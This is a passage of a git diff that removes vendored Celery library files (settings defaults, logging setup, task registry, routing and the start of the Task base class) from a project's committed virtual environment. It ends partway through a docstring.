type='bool'), - annotations=Option(type='any'), - compression=Option(type='string', old={'celery_message_compression'}), - create_missing_queues=Option(True, type='bool'), - inherit_parent_priority=Option(False, type='bool'), - default_delivery_mode=Option(2, type='string'), - default_queue=Option('celery'), - default_queue_type=Option('classic', type='string'), - default_exchange=Option(None, type='string'), # taken from queue - default_exchange_type=Option('direct'), - default_routing_key=Option(None, type='string'), # taken from queue - default_rate_limit=Option(type='string'), - default_priority=Option(None, type='string'), - eager_propagates=Option( - False, type='bool', old={'celery_eager_propagates_exceptions'}, - ), - ignore_result=Option(False, type='bool'), - store_eager_result=Option(False, type='bool'), - protocol=Option(2, type='int', old={'celery_task_protocol'}), - publish_retry=Option( - True, type='bool', old={'celery_task_publish_retry'}, - ), - publish_retry_policy=Option( - {'max_retries': 3, - 'interval_start': 0, - 'interval_max': 1, - 'interval_step': 0.2}, - type='dict', old={'celery_task_publish_retry_policy'}, - ), - queues=Option(type='dict'), - queue_max_priority=Option(None, type='int'), - reject_on_worker_lost=Option(type='bool'), - remote_tracebacks=Option(False, type='bool'), - routes=Option(type='any'), - send_sent_event=Option( - False, type='bool', old={'celery_send_task_sent_event'}, - ), - serializer=Option('json', old={'celery_task_serializer'}), - soft_time_limit=Option( - type='float', old={'celeryd_task_soft_time_limit'}, - ), - time_limit=Option( - type='float', old={'celeryd_task_time_limit'}, - ), - store_errors_even_if_ignored=Option(False, type='bool'), - track_started=Option(False, type='bool'), - allow_error_cb_on_chord_header=Option(False, type='bool'), - ), - worker=Namespace( - __old__=OLD_NS_WORKER, - agent=Option(None, type='string'), - autoscaler=Option('celery.worker.autoscale:Autoscaler'), - cancel_long_running_tasks_on_connection_loss=Option( - False, type='bool' - ), - soft_shutdown_timeout=Option(0.0, type='float'), - enable_soft_shutdown_on_idle=Option(False, type='bool'), - concurrency=Option(None, type='int'), - consumer=Option('celery.worker.consumer:Consumer', type='string'), - direct=Option(False, type='bool', old={'celery_worker_direct'}), - disable_rate_limits=Option( - False, type='bool', old={'celery_disable_rate_limits'}, - ), - deduplicate_successful_tasks=Option( - False, type='bool' - ), - enable_remote_control=Option( - True, type='bool', old={'celery_enable_remote_control'}, - ), - hijack_root_logger=Option(True, type='bool'), - log_color=Option(type='bool'), - log_format=Option(DEFAULT_PROCESS_LOG_FMT), - lost_wait=Option(10.0, type='float', old={'celeryd_worker_lost_wait'}), - max_memory_per_child=Option(type='int'), - max_tasks_per_child=Option(type='int'), - pool=Option(DEFAULT_POOL), - pool_putlocks=Option(True, type='bool'), - pool_restarts=Option(False, type='bool'), - proc_alive_timeout=Option(4.0, type='float'), - prefetch_multiplier=Option(4, type='int'), - enable_prefetch_count_reduction=Option(True, type='bool'), - redirect_stdouts=Option( - True, type='bool', old={'celery_redirect_stdouts'}, - ), - redirect_stdouts_level=Option( - 'WARNING', old={'celery_redirect_stdouts_level'}, - ), - send_task_events=Option( - False, type='bool', old={'celery_send_events'}, - ), - state_db=Option(), - task_log_format=Option(DEFAULT_TASK_LOG_FMT), - timer=Option(type='string'), - timer_precision=Option(1.0, type='float'), - detect_quorum_queues=Option(True, type='bool'), - ), -) - - -def _flatten_keys(ns, key, opt): - return [(ns + key, opt)] - - -def _to_compat(ns, key, opt): - if opt.old: - return [ - (oldkey.format(key).upper(), ns + key, opt) - for oldkey in opt.old - ] - return [((ns + key).upper(), ns + key, opt)] - - -def flatten(d, root='', keyfilter=_flatten_keys): - """Flatten settings.""" - stack = deque([(root, d)]) - while stack: - ns, options = stack.popleft() - for key, opt in options.items(): - if isinstance(opt, dict): - stack.append((ns + key + '_', opt)) - else: - yield from keyfilter(ns, key, opt) - - -DEFAULTS = { - key: opt.default for key, opt in flatten(NAMESPACES) -} -__compat = list(flatten(NAMESPACES, keyfilter=_to_compat)) -_OLD_DEFAULTS = {old_key: opt.default for old_key, _, opt in __compat} -_TO_OLD_KEY = {new_key: old_key for old_key, new_key, _ in __compat} -_TO_NEW_KEY = {old_key: new_key for old_key, new_key, _ in __compat} -__compat = None - -SETTING_KEYS = set(DEFAULTS.keys()) -_OLD_SETTING_KEYS = set(_TO_NEW_KEY.keys()) - - -def find_deprecated_settings(source): # pragma: no cover - from celery.utils import deprecated - for name, opt in flatten(NAMESPACES): - if (opt.deprecate_by or opt.remove_by) and getattr(source, name, None): - deprecated.warn(description=f'The {name!r} setting', - deprecation=opt.deprecate_by, - removal=opt.remove_by, - alternative=f'Use the {opt.alt} instead') - return source - - -@memoize(maxsize=None) -def find(name, namespace='celery'): - """Find setting by name.""" - # - Try specified name-space first. - namespace = namespace.lower() - try: - return searchresult( - namespace, name.lower(), NAMESPACES[namespace][name.lower()], - ) - except KeyError: - # - Try all the other namespaces. - for ns, opts in NAMESPACES.items(): - if ns.lower() == name.lower(): - return searchresult(None, ns, opts) - elif isinstance(opts, dict): - try: - return searchresult(ns, name.lower(), opts[name.lower()]) - except KeyError: - pass - # - See if name is a qualname last. - return searchresult(None, name.lower(), DEFAULTS[name.lower()]) diff --git a/backend/venv/Lib/site-packages/celery/app/events.py b/backend/venv/Lib/site-packages/celery/app/events.py deleted file mode 100644 index f2ebea06..00000000 --- a/backend/venv/Lib/site-packages/celery/app/events.py +++ /dev/null @@ -1,40 +0,0 @@ -"""Implementation for the app.events shortcuts.""" -from contextlib import contextmanager - -from kombu.utils.objects import cached_property - - -class Events: - """Implements app.events.""" - - receiver_cls = 'celery.events.receiver:EventReceiver' - dispatcher_cls = 'celery.events.dispatcher:EventDispatcher' - state_cls = 'celery.events.state:State' - - def __init__(self, app=None): - self.app = app - - @cached_property - def Receiver(self): - return self.app.subclass_with_self( - self.receiver_cls, reverse='events.Receiver') - - @cached_property - def Dispatcher(self): - return self.app.subclass_with_self( - self.dispatcher_cls, reverse='events.Dispatcher') - - @cached_property - def State(self): - return self.app.subclass_with_self( - self.state_cls, reverse='events.State') - - @contextmanager - def default_dispatcher(self, hostname=None, enabled=True, - buffer_while_offline=False): - with self.app.amqp.producer_pool.acquire(block=True) as prod: - # pylint: disable=too-many-function-args - # This is a property pylint... - with self.Dispatcher(prod.connection, hostname, enabled, - prod.channel, buffer_while_offline) as d: - yield d diff --git a/backend/venv/Lib/site-packages/celery/app/log.py b/backend/venv/Lib/site-packages/celery/app/log.py deleted file mode 100644 index a4db1057..00000000 --- a/backend/venv/Lib/site-packages/celery/app/log.py +++ /dev/null @@ -1,248 +0,0 @@ -"""Logging configuration. - -The Celery instances logging section: ``Celery.log``. - -Sets up logging for the worker and other programs, -redirects standard outs, colors log output, patches logging -related compatibility fixes, and so on. -""" -import logging -import os -import sys -import warnings -from logging.handlers import WatchedFileHandler - -from kombu.utils.encoding import set_default_encoding_file - -from celery import signals -from celery._state import get_current_task -from celery.exceptions import CDeprecationWarning, CPendingDeprecationWarning -from celery.local import class_property -from celery.platforms import isatty -from celery.utils.log import (ColorFormatter, LoggingProxy, get_logger, get_multiprocessing_logger, mlevel, - reset_multiprocessing_logger) -from celery.utils.nodenames import node_format -from celery.utils.term import colored - -__all__ = ('TaskFormatter', 'Logging') - -MP_LOG = os.environ.get('MP_LOG', False) - - -class TaskFormatter(ColorFormatter): - """Formatter for tasks, adding the task name and id.""" - - def format(self, record): - task = get_current_task() - if task and task.request: - record.__dict__.update(task_id=task.request.id, - task_name=task.name) - else: - record.__dict__.setdefault('task_name', '???') - record.__dict__.setdefault('task_id', '???') - return super().format(record) - - -class Logging: - """Application logging setup (app.log).""" - - #: The logging subsystem is only configured once per process. - #: setup_logging_subsystem sets this flag, and subsequent calls - #: will do nothing. - _setup = False - - def __init__(self, app): - self.app = app - self.loglevel = mlevel(logging.WARN) - self.format = self.app.conf.worker_log_format - self.task_format = self.app.conf.worker_task_log_format - self.colorize = self.app.conf.worker_log_color - - def setup(self, loglevel=None, logfile=None, redirect_stdouts=False, - redirect_level='WARNING', colorize=None, hostname=None): - loglevel = mlevel(loglevel) - handled = self.setup_logging_subsystem( - loglevel, logfile, colorize=colorize, hostname=hostname, - ) - if not handled and redirect_stdouts: - self.redirect_stdouts(redirect_level) - os.environ.update( - CELERY_LOG_LEVEL=str(loglevel) if loglevel else '', - CELERY_LOG_FILE=str(logfile) if logfile else '', - ) - warnings.filterwarnings('always', category=CDeprecationWarning) - warnings.filterwarnings('always', category=CPendingDeprecationWarning) - logging.captureWarnings(True) - return handled - - def redirect_stdouts(self, loglevel=None, name='celery.redirected'): - self.redirect_stdouts_to_logger( - get_logger(name), loglevel=loglevel - ) - os.environ.update( - CELERY_LOG_REDIRECT='1', - CELERY_LOG_REDIRECT_LEVEL=str(loglevel or ''), - ) - - def setup_logging_subsystem(self, loglevel=None, logfile=None, format=None, - colorize=None, hostname=None, **kwargs): - if self.already_setup: - return - if logfile and hostname: - logfile = node_format(logfile, hostname) - Logging._setup = True - loglevel = mlevel(loglevel or self.loglevel) - format = format or self.format - colorize = self.supports_color(colorize, logfile) - reset_multiprocessing_logger() - receivers = signals.setup_logging.send( - sender=None, loglevel=loglevel, logfile=logfile, - format=format, colorize=colorize, - ) - - if not receivers: - root = logging.getLogger() - - if self.app.conf.worker_hijack_root_logger: - root.handlers = [] - get_logger('celery').handlers = [] - get_logger('celery.task').handlers = [] - get_logger('celery.redirected').handlers = [] - - # Configure root logger - self._configure_logger( - root, logfile, loglevel, format, colorize, **kwargs - ) - - # Configure the multiprocessing logger - self._configure_logger( - get_multiprocessing_logger(), - logfile, loglevel if MP_LOG else logging.ERROR, - format, colorize, **kwargs - ) - - signals.after_setup_logger.send( - sender=None, logger=root, - loglevel=loglevel, logfile=logfile, - format=format, colorize=colorize, - ) - - # then setup the root task logger. - self.setup_task_loggers(loglevel, logfile, colorize=colorize) - - try: - stream = logging.getLogger().handlers[0].stream - except (AttributeError, IndexError): - pass - else: - set_default_encoding_file(stream) - - # This is a hack for multiprocessing's fork+exec, so that - # logging before Process.run works. - logfile_name = logfile if isinstance(logfile, str) else '' - os.environ.update(_MP_FORK_LOGLEVEL_=str(loglevel), - _MP_FORK_LOGFILE_=logfile_name, - _MP_FORK_LOGFORMAT_=format) - return receivers - - def _configure_logger(self, logger, logfile, loglevel, - format, colorize, **kwargs): - if logger is not None: - self.setup_handlers(logger, logfile, format, - colorize, **kwargs) - if loglevel: - logger.setLevel(loglevel) - - def setup_task_loggers(self, loglevel=None, logfile=None, format=None, - colorize=None, propagate=False, **kwargs): - """Setup the task logger. - - If `logfile` is not specified, then `sys.stderr` is used. - - Will return the base task logger object. - """ - loglevel = mlevel(loglevel or self.loglevel) - format = format or self.task_format - colorize = self.supports_color(colorize, logfile) - - logger = self.setup_handlers( - get_logger('celery.task'), - logfile, format, colorize, - formatter=TaskFormatter, **kwargs - ) - logger.setLevel(loglevel) - # this is an int for some reason, better to not question why. - logger.propagate = int(propagate) - signals.after_setup_task_logger.send( - sender=None, logger=logger, - loglevel=loglevel, logfile=logfile, - format=format, colorize=colorize, - ) - return logger - - def redirect_stdouts_to_logger(self, logger, loglevel=None, - stdout=True, stderr=True): - """Redirect :class:`sys.stdout` and :class:`sys.stderr` to logger. - - Arguments: - logger (logging.Logger): Logger instance to redirect to. - loglevel (int, str): The loglevel redirected message - will be logged as. - """ - proxy = LoggingProxy(logger, loglevel) - if stdout: - sys.stdout = proxy - if stderr: - sys.stderr = proxy - return proxy - - def supports_color(self, colorize=None, logfile=None): - colorize = self.colorize if colorize is None else colorize - if self.app.IS_WINDOWS: - # Windows does not support ANSI color codes. - return False - if colorize or colorize is None: - # Only use color if there's no active log file - # and stderr is an actual terminal. - return logfile is None and isatty(sys.stderr) - return colorize - - def colored(self, logfile=None, enabled=None): - return colored(enabled=self.supports_color(enabled, logfile)) - - def setup_handlers(self, logger, logfile, format, colorize, - formatter=ColorFormatter, **kwargs): - if self._is_configured(logger): - return logger - handler = self._detect_handler(logfile) - handler.setFormatter(formatter(format, use_color=colorize)) - logger.addHandler(handler) - return logger - - def _detect_handler(self, logfile=None): - """Create handler from filename, an open stream or `None` (stderr).""" - logfile = sys.__stderr__ if logfile is None else logfile - if hasattr(logfile, 'write'): - return logging.StreamHandler(logfile) - return WatchedFileHandler(logfile, encoding='utf-8') - - def _has_handler(self, logger): - return any( - not isinstance(h, logging.NullHandler) - for h in logger.handlers or [] - ) - - def _is_configured(self, logger): - return self._has_handler(logger) and not getattr( - logger, '_rudimentary_setup', False) - - def get_default_logger(self, name='celery', **kwargs): - return get_logger(name) - - @class_property - def already_setup(self): - return self._setup - - @already_setup.setter - def already_setup(self, was_setup): - self._setup = was_setup diff --git a/backend/venv/Lib/site-packages/celery/app/registry.py b/backend/venv/Lib/site-packages/celery/app/registry.py deleted file mode 100644 index 707567d1..00000000 --- a/backend/venv/Lib/site-packages/celery/app/registry.py +++ /dev/null @@ -1,68 +0,0 @@ -"""Registry of available tasks.""" -import inspect -from importlib import import_module - -from celery._state import get_current_app -from celery.app.autoretry import add_autoretry_behaviour -from celery.exceptions import InvalidTaskError, NotRegistered - -__all__ = ('TaskRegistry',) - - -class TaskRegistry(dict): - """Map of registered tasks.""" - - NotRegistered = NotRegistered - - def __missing__(self, key): - raise self.NotRegistered(key) - - def register(self, task): - """Register a task in the task registry. - - The task will be automatically instantiated if not already an - instance. Name must be configured prior to registration. - """ - if task.name is None: - raise InvalidTaskError( - 'Task class {!r} must specify .name attribute'.format( - type(task).__name__)) - task = inspect.isclass(task) and task() or task - add_autoretry_behaviour(task) - self[task.name] = task - - def unregister(self, name): - """Unregister task by name. - - Arguments: - name (str): name of the task to unregister, or a - :class:`celery.app.task.Task` with a valid `name` attribute. - - Raises: - celery.exceptions.NotRegistered: if the task is not registered. - """ - try: - self.pop(getattr(name, 'name', name)) - except KeyError: - raise self.NotRegistered(name) - - # -- these methods are irrelevant now and will be removed in 4.0 - def regular(self): - return self.filter_types('regular') - - def periodic(self): - return self.filter_types('periodic') - - def filter_types(self, type): - return {name: task for name, task in self.items() - if getattr(task, 'type', 'regular') == type} - - -def _unpickle_task(name): - return get_current_app().tasks[name] - - -def _unpickle_task_v2(name, module=None): - if module: - import_module(module) - return get_current_app().tasks[name] diff --git a/backend/venv/Lib/site-packages/celery/app/routes.py b/backend/venv/Lib/site-packages/celery/app/routes.py deleted file mode 100644 index bed2c07a..00000000 --- a/backend/venv/Lib/site-packages/celery/app/routes.py +++ /dev/null @@ -1,136 +0,0 @@ -"""Task Routing. - -Contains utilities for working with task routers, (:setting:`task_routes`). -""" -import fnmatch -import re -from collections import OrderedDict -from collections.abc import Mapping - -from kombu import Queue - -from celery.exceptions import QueueNotFound -from celery.utils.collections import lpmerge -from celery.utils.functional import maybe_evaluate, mlazy -from celery.utils.imports import symbol_by_name - -try: - Pattern = re._pattern_type -except AttributeError: # pragma: no cover - # for support Python 3.7 - Pattern = re.Pattern - -__all__ = ('MapRoute', 'Router', 'expand_router_string', 'prepare') - - -class MapRoute: - """Creates a router out of a :class:`dict`.""" - - def __init__(self, map): - map = map.items() if isinstance(map, Mapping) else map - self.map = {} - self.patterns = OrderedDict() - for k, v in map: - if isinstance(k, Pattern): - self.patterns[k] = v - elif '*' in k: - self.patterns[re.compile(fnmatch.translate(k))] = v - else: - self.map[k] = v - - def __call__(self, name, *args, **kwargs): - try: - return dict(self.map[name]) - except KeyError: - pass - except ValueError: - return {'queue': self.map[name]} - for regex, route in self.patterns.items(): - if regex.match(name): - try: - return dict(route) - except ValueError: - return {'queue': route} - - -class Router: - """Route tasks based on the :setting:`task_routes` setting.""" - - def __init__(self, routes=None, queues=None, - create_missing=False, app=None): - self.app = app - self.queues = {} if queues is None else queues - self.routes = [] if routes is None else routes - self.create_missing = create_missing - - def route(self, options, name, args=(), kwargs=None, task_type=None): - kwargs = {} if not kwargs else kwargs - options = self.expand_destination(options) # expands 'queue' - if self.routes: - route = self.lookup_route(name, args, kwargs, options, task_type) - if route: # expands 'queue' in route. - return lpmerge(self.expand_destination(route), options) - if 'queue' not in options: - options = lpmerge(self.expand_destination( - self.app.conf.task_default_queue), options) - return options - - def expand_destination(self, route): - # Route can be a queue name: convenient for direct exchanges. - if isinstance(route, str): - queue, route = route, {} - else: - # can use defaults from configured queue, but override specific - # things (like the routing_key): great for topic exchanges. - queue = route.pop('queue', None) - - if queue: - if isinstance(queue, Queue): - route['queue'] = queue - else: - try: - route['queue'] = self.queues[queue] - except KeyError: - raise QueueNotFound( - f'Queue {queue!r} missing from task_queues') - return route - - def lookup_route(self, name, - args=None, kwargs=None, options=None, task_type=None): - query = self.query_router - for router in self.routes: - route = query(router, name, args, kwargs, options, task_type) - if route is not None: - return route - - def query_router(self, router, task, args, kwargs, options, task_type): - router = maybe_evaluate(router) - if hasattr(router, 'route_for_task'): - # pre 4.0 router class - return router.route_for_task(task, args, kwargs) - return router(task, args, kwargs, options, task=task_type) - - -def expand_router_string(router): - router = symbol_by_name(router) - if hasattr(router, 'route_for_task'): - # need to instantiate pre 4.0 router classes - router = router() - return router - - -def prepare(routes): - """Expand the :setting:`task_routes` setting.""" - - def expand_route(route): - if isinstance(route, (Mapping, list, tuple)): - return MapRoute(route) - if isinstance(route, str): - return mlazy(expand_router_string, route) - return route - - if routes is None: - return () - if not isinstance(routes, (list, tuple)): - routes = (routes,) - return [expand_route(route) for route in routes] diff --git a/backend/venv/Lib/site-packages/celery/app/task.py b/backend/venv/Lib/site-packages/celery/app/task.py deleted file mode 100644 index 90ba8552..00000000 --- a/backend/venv/Lib/site-packages/celery/app/task.py +++ /dev/null @@ -1,1161 +0,0 @@ -"""Task implementation: request context and the task base class.""" -import sys - -from billiard.einfo import ExceptionInfo, ExceptionWithTraceback -from kombu import serialization -from kombu.exceptions import OperationalError -from kombu.utils.uuid import uuid - -from celery import current_app, states -from celery._state import _task_stack -from celery.canvas import _chain, group, signature -from celery.exceptions import Ignore, ImproperlyConfigured, MaxRetriesExceededError, Reject, Retry -from celery.local import class_property -from celery.result import EagerResult, denied_join_result -from celery.utils import abstract -from celery.utils.functional import mattrgetter, maybe_list -from celery.utils.imports import instantiate -from celery.utils.nodenames import gethostname -from celery.utils.serialization import raise_with_context - -from .annotations import resolve_all as resolve_all_annotations -from .registry import _unpickle_task_v2 -from .utils import appstr - -__all__ = ('Context', 'Task') - -#: extracts attributes related to publishing a message from an object. -extract_exec_options = mattrgetter( - 'queue', 'routing_key', 'exchange', 'priority', 'expires', - 'serializer', 'delivery_mode', 'compression', 'time_limit', - 'soft_time_limit', 'immediate', 'mandatory', # imm+man is deprecated -) - -# We take __repr__ very seriously around here ;) -R_BOUND_TASK = '' -R_UNBOUND_TASK = '' -R_INSTANCE = '<@task: {0.name} of {app}{flags}>' - -#: Here for backwards compatibility as tasks no longer use a custom meta-class. -TaskType = type - - -def _strflags(flags, default=''): - if flags: - return ' ({})'.format(', '.join(flags)) - return default - - -def _reprtask(task, fmt=None, flags=None): - flags = list(flags) if flags is not None else [] - flags.append('v2 compatible') if task.__v2_compat__ else None - if not fmt: - fmt = R_BOUND_TASK if task._app else R_UNBOUND_TASK - return fmt.format( - task, flags=_strflags(flags), - app=appstr(task._app) if task._app else None, - ) - - -class Context: - """Task request variables (Task.request).""" - - _children = None # see property - _protected = 0 - args = None - callbacks = None - called_directly = True - chain = None - chord = None - correlation_id = None - delivery_info = None - errbacks = None - eta = None - expires = None - group = None - group_index = None - headers = None - hostname = None - id = None - ignore_result = False - is_eager = False - kwargs = None - logfile = None - loglevel = None - origin = None - parent_id = None - properties = None - retries = 0 - reply_to = None - replaced_task_nesting = 0 - root_id = None - shadow = None - taskset = None # compat alias to group - timelimit = None - utc = None - stamped_headers = None - stamps = None - - def __init__(self, *args, **kwargs): - self.update(*args, **kwargs) - if self.headers is None: - self.headers = self._get_custom_headers(*args, **kwargs) - - def _get_custom_headers(self, *args, **kwargs): - headers = {} - headers.update(*args, **kwargs) - celery_keys = {*Context.__dict__.keys(), 'lang', 'task', 'argsrepr', 'kwargsrepr', 'compression'} - for key in celery_keys: - headers.pop(key, None) - if not headers: - return None - return headers - - def update(self, *args, **kwargs): - return self.__dict__.update(*args, **kwargs) - - def clear(self): - return self.__dict__.clear() - - def get(self, key, default=None): - return getattr(self, key, default) - - def __repr__(self): - return f'' - - def as_execution_options(self): - limit_hard, limit_soft = self.timelimit or (None, None) - execution_options = { - 'task_id': self.id, - 'root_id': self.root_id, - 'parent_id': self.parent_id, - 'group_id': self.group, - 'group_index': self.group_index, - 'shadow': self.shadow, - 'chord': self.chord, - 'chain': self.chain, - 'link': self.callbacks, - 'link_error': self.errbacks, - 'expires': self.expires, - 'soft_time_limit': limit_soft, - 'time_limit': limit_hard, - 'headers': self.headers, - 'retries': self.retries, - 'reply_to': self.reply_to, - 'replaced_task_nesting': self.replaced_task_nesting, - 'origin': self.origin, - } - if hasattr(self, 'stamps') and hasattr(self, 'stamped_headers'): - if self.stamps is not None and self.stamped_headers is not None: - execution_options['stamped_headers'] = self.stamped_headers - for k, v in self.stamps.items(): - execution_options[k] = v - return execution_options - - @property - def children(self): - # children must be an empty list for every thread - if self._children is None: - self._children = [] - return self._children - - -@abstract.CallableTask.register -class Task: - """Task base class. - - Note: - When called tasks apply the :meth:`run` method. This method must - be defined by all tasks (that is unless the :meth:`__call__` method - is overridden). - """ - - __trace__ = None - __v2_compat__ = False # set by old base in celery.task.base - - MaxRetriesExceededError = MaxRetriesExceededError - OperationalError = OperationalError - - #: Execution strategy used, or the qualified name of one. - Strategy = 'celery.worker.strategy:default' - - #: Request class used, or the qualified name of one. - Request = 'celery.worker.request:Request' - - #: The application instance associated with this task class. - _app = None - - #: Name of the task. - name = None - - #: Enable argument checking. - #: You can set this to false if you don't want the signature to be - #: checked when calling the task. - #: Defaults to :attr:`app.strict_typing <@Celery.strict_typing>`. - typing = None - - #: Maximum number of retries before giving up. If set to :const:`None`, - #: it will **never** stop retrying. - max_retries = 3 - - #: Default time in seconds before a retry of the task should be - #: executed. 3 minutes by default. - default_retry_delay = 3 * 60 - - #: Rate limit for this task type. Examples: :const:`None` (no rate - #: limit), `'100/s'` (hundred tasks a second), `'100/m'` (hundred tasks - #: a minute),`'100/h'` (hundred tasks an hour) - rate_limit = None - - #: If enabled the worker won't store task state and return values - #: for this task. Defaults to the :setting:`task_ignore_result` - #: setting. - ignore_result = None - - #: If enabled the request will keep track of subtasks started by - #: this task, and this information will be sent with the result - #: (``result.children``). - trail = True - - #: If enabled the worker will send monitoring events related to - #: this task (but only if the worker is configured to send - #: task related events). - #: Note that this has no effect on the task-failure event case - #: where a task is not registered (as it will have no task class - #: to check this flag). - send_events = True - - #: When enabled errors will be stored even if the task is otherwise - #: configured to ignore results. - store_errors_even_if_ignored = None - - #: The name of a serializer that are registered with - #: :mod:`kombu.serialization.registry`. Default is `'json'`. - serializer = None - - #: Hard time limit. - #: Defaults to the :setting:`task_time_limit` setting. - time_limit = None - - #: Soft time limit. - #: Defaults to the :setting:`task_soft_time_limit` setting. - soft_time_limit = None - - #: The result store backend used for this task. - backend = None - - #: If enabled the task will report its status as 'started' when the task - #: is executed by a worker. Disabled by default as the normal behavior - #: is to not report that level of granularity. Tasks are either pending, - #: finished, or waiting to be retried. - #: - #: Having a 'started' status can be useful for when there are long - #: running tasks and there's a need to report what task is currently - #: running. - #: - #: The application default can be overridden using the - #: :setting:`task_track_started` setting. - track_started = None - - #: When enabled messages for this task will be acknowledged **after** - #: the task has been executed, and not *right before* (the - #: default behavior). - #: - #: Please note that this means the task may be executed twice if the - #: worker crashes mid execution. - #: - #: The application default can be overridden with the - #: :setting:`task_acks_late` setting. - acks_late = None - - #: When enabled messages for this task will be acknowledged even if it - #: fails or times out. - #: - #: Configuring this setting only applies to tasks that are - #: acknowledged **after** they have been executed and only if - #: :setting:`task_acks_late` is enabled. - #: - #: The application default can be overridden with the - #: :setting:`task_acks_on_failure_or_timeout` setting. - acks_on_failure_or_timeout = None - - #: Even if :attr:`acks_late` is enabled, the worker will - #: acknowledge tasks when the worker process executing them abruptly - #: exits or is signaled (e.g., :sig:`KILL`/:sig:`INT`, etc). - #: - #: Setting this to true allows the message to be re-queued instead, - #: so that the task will execute again by the same worker, or another - #: worker. - #: - #: Warning: Enabling this can cause message loops; make sure you know - #: what you're doing. - reject_on_worker_lost = None - - #: Tuple of expected exceptions. - #: - #: These are errors that are expected in normal operation - #: and that shouldn't be regarded as a real error by the worker. - #: Currently this means that the state will be updated to an error - #: state, but the worker won't log the event as an error. - throws = () - - #: Default task expiry time. - expires = None - - #: Default task priority. - priority = None - - #: Max length of result representation used in logs and events. - resultrepr_maxsize = 1024 - - #: Task request stack, the current request will be the topmost. - request_stack = None - - #: Some may expect a request to exist even if the task hasn't been - #: called. This should probably be deprecated. - _default_request = None - - #: Deprecated attribute ``abstract`` here for compatibility. - abstract = True - - _exec_options = None - - __bound__ = False - - from_config = ( - ('serializer', 'task_serializer'), - ('rate_limit', 'task_default_rate_limit'), - ('priority', 'task_default_priority'), - ('track_started', 'task_track_started'), - ('acks_late', 'task_acks_late'), - ('acks_on_failure_or_timeout', 'task_acks_on_failure_or_timeout'), - ('reject_on_worker_lost', 'task_reject_on_worker_lost'), - ('ignore_result', 'task_ignore_result'), - ('store_eager_result', 'task_store_eager_result'), - ('store_errors_even_if_ignored', 'task_store_errors_even_if_ignored'), - ) - - _backend = None # set by backend property. - - # - Tasks are lazily bound, so that configuration is not set - # - until the task is actually used - - @classmethod - def bind(cls, app): - was_bound, cls.__bound__ = cls.__bound__, True - cls._app = app - conf = app.conf - cls._exec_options = None # clear option cache - - if cls.typing is None: - cls.typing = app.strict_typing - - for attr_name, config_name in cls.from_config: - if getattr(cls, attr_name, None) is None: - setattr(cls, attr_name, conf[config_name]) - - # decorate with annotations from config. - if not was_bound: - cls.annotate() - - from celery.utils.threads import LocalStack - cls.request_stack = LocalStack() - - # PeriodicTask uses this to add itself to the PeriodicTask schedule. - cls.on_bound(app) - - return app - - @classmethod - def on_bound(cls, app): - """Called when the task is bound to an app. - - Note: - This class method can be defined to do additional actions when - the task class is bound to an app. - """ - - @classmethod - def _get_app(cls): - if cls._app is None: - cls._app = current_app - if not cls.__bound__: - # The app property's __set__ method is not called - # if Task.app is set (on the class), so must bind on use. - cls.bind(cls._app) - return cls._app - app = class_property(_get_app, bind) - - @classmethod - def annotate(cls): - for d in resolve_all_annotations(cls.app.annotations, cls): - for key, value in d.items(): - if key.startswith('@'): - cls.add_around(key[1:], value) - else: - setattr(cls, key, value) - - @classmethod - def add_around(cls, attr, around): - orig = getattr(cls, attr) - if getattr(orig, '__wrapped__', None): - orig = orig.__wrapped__ - meth = around(orig) - meth.__wrapped__ = orig - setattr(cls, attr, meth) - - def __call__(self, *args, **kwargs): - _task_stack.push(self) - self.push_request(args=args, kwargs=kwargs) - try: - return self.run(*args, **kwargs) - finally: - self.pop_request() - _task_stack.pop() - - def __reduce__(self): - # - tasks are pickled into the name of the task only, and the receiver - # - simply grabs it from the local registry. - # - in later versions the module of the task is also included, - # - and the receiving side tries to import that module so that - # - it will work even if the task hasn't been registered. - mod = type(self).__module__ - mod = mod if mod and mod in sys.modules else None - return (_unpickle_task_v2, (self.name, mod), None) - - def run(self, *args, **kwargs): - """The body of the task executed by workers.""" - raise NotImplementedError('Tasks must define the run method.') - - def start_strategy(self, app, consumer, **kwargs): - return instantiate(self.Strategy, self, app, consumer, **kwargs) - - def delay(self, *args, **kwargs): - """Star argument version of :meth:`apply_async`. - - Does not support the extra options enabled by :meth:`apply_async`. - - Arguments: - *args (Any): Positional arguments passed on to the task. - **kwargs (Any): Keyword arguments passed on to the task. - Returns: - celery.result.AsyncResult: Future promise. - """ - return self.apply_async(args, kwargs) - - def apply_async(self, args=None, kwargs=None, task_id=None, producer=None, - link=None, link_error=None, shadow=None, **options): - """Apply tasks asynchronously by sending a message. - - Arguments: - args (Tuple): The positional arguments to pass on to the task. - - kwargs (Dict): The keyword arguments to pass on to the task. - - countdown (float): Number of seconds into the future that the - task should execute. Defaults to immediate execution. - - eta (~datetime.datetime): Absolute time and date of when the task - should be executed. May not be specified if `countdown` - is also supplied. - - expires (float, ~datetime.datetime): Datetime or - seconds in the future for the task should expire. - The task won't be executed after the expiration time. - - shadow (str): Override task name used in logs/monitoring. - Default is retrieved from :meth:`shadow_name`. - - connection (kombu.Connection): Reuse existing broker connection - instead of acquiring one from the connection pool. - - retry (bool): If enabled sending of the task message will be - retried in the event of connection loss or failure. - Default is taken from the :setting:`task_publish_retry` - setting. Note that you need to handle the - producer/connection manually for this to work. - - retry_policy (Mapping): Override the retry policy used. - See the :setting:`task_publish_retry_policy` setting. - - time_limit (int): If set, overrides the default time limit. - - soft_time_limit (int): If set, overrides the default soft - time limit. - - queue (str, kombu.Queue): The queue to route the task to. - This must be a key present in :setting:`task_queues`, or - :setting:`task_create_missing_queues` must be - enabled. See :ref:`guide-routing` for more - information. - - exchange (str, kombu.Exchange): Named custom exchange to send the - task to. Usually not used in combination with the ``queue`` - argument. - - routing_key (str): Custom routing key used to route the task to a - worker server. If in combination with a ``queue`` argument - only used to specify custom routing keys to topic exchanges. - - priority (int): The task priority, a number between 0 and 9. - Defaults to the :attr:`priority` attribute. - - serializer (str): Serialization method to use. - Can be `pickle`, `json`, `yaml`, `msgpack` or any custom - serialization method that's been registered - with :mod:`kombu.serialization.registry`. - Defaults to the :attr:`serializer` attribute. - - compression (str): Optional compression method - to use. Can be one of ``zlib``, ``bzip2``, - or any custom compression methods registered with - :func:`kombu.compression.register`. - Defaults to the :setting:`task_compression` setting. - - link (Signature): A single, or a list of tasks signatures - to apply if the task returns successfully. - - link_error (Signature): A single, or a list of task signatures - to apply if an error occurs while executing the task. - - producer (kombu.Producer): custom producer to use when publishing - the task. - - add_to_parent (bool): If set to True (default) and the task - is applied while executing another task, then the result - will be appended to the parent tasks ``request.children`` - attribute. Trailing can also be disabled by 